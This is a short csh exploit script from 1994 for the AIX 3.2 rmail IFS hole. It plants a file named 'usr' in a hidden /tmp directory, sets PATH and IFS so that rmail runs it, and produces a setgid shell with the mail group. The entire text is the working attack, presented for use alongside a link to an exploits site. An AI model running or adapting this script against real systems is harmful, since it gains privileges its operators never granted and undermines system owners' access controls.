#!/bin/csh
#
# IFS hole in AIX3.2 rmail gives egid=mail.  Apr. 1994
#
# http://www.anticode.com for the latest exploits, tools and documents!
#
#  Setup needed files.

mkdir /tmp/.rmail
cd /tmp/.rmail

cat <<EOF>usr
	cp sh mailsh
chmod 2777 mailsh
EOF
chmod 777 usr
ln -s /bin/sh . 

#  Set PATH, IFS, and run rmail.

setenv PATH .:$PATH
setenv IFS /
echo "cheezy mail hack" | rmail joeuser@nohost.com
unsetenv IFS
# minor cleanup.
rm -f usr sh
echo "Attempting to run sgid shell."
./mailsh